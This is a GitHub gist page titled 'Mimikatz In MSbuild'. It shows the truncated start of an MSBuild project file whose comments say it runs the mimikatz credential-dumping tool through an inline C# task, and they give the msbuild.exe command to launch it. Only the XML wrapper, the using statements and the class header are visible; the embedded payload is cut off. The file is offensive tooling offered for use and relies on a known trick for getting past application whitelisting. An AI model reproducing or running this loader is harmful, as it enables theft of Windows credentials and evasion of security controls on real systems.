Skip to content

Instantly share code, notes, and snippets.

@analyticsearch
Created August 4, 2018 06:52
Show Gist options
  • Save analyticsearch/f396cb2b1d267165f5b7c5566c2c5350 to your computer and use it in GitHub Desktop.
Save analyticsearch/f396cb2b1d267165f5b7c5566c2c5350 to your computer and use it in GitHub Desktop.
Mimikatz In MSbuild
This file has been truncated, but you can view the full file.
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- This inline task executes mimikatz. -->
<!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
<!-- Save This File And Execute The Above Command -->
<!-- Author: Casey Smith, Twitter: @subTee -->
<!-- License: BSD 3-Clause -->
<Target Name="Hello">
<ClassExample />
</Target>
<UsingTask
TaskName="ClassExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Runtime.InteropServices;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
using System.IO;
using System.IO.Compression;
using System.Text;
public class ClassExample : Task, ITask
{
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment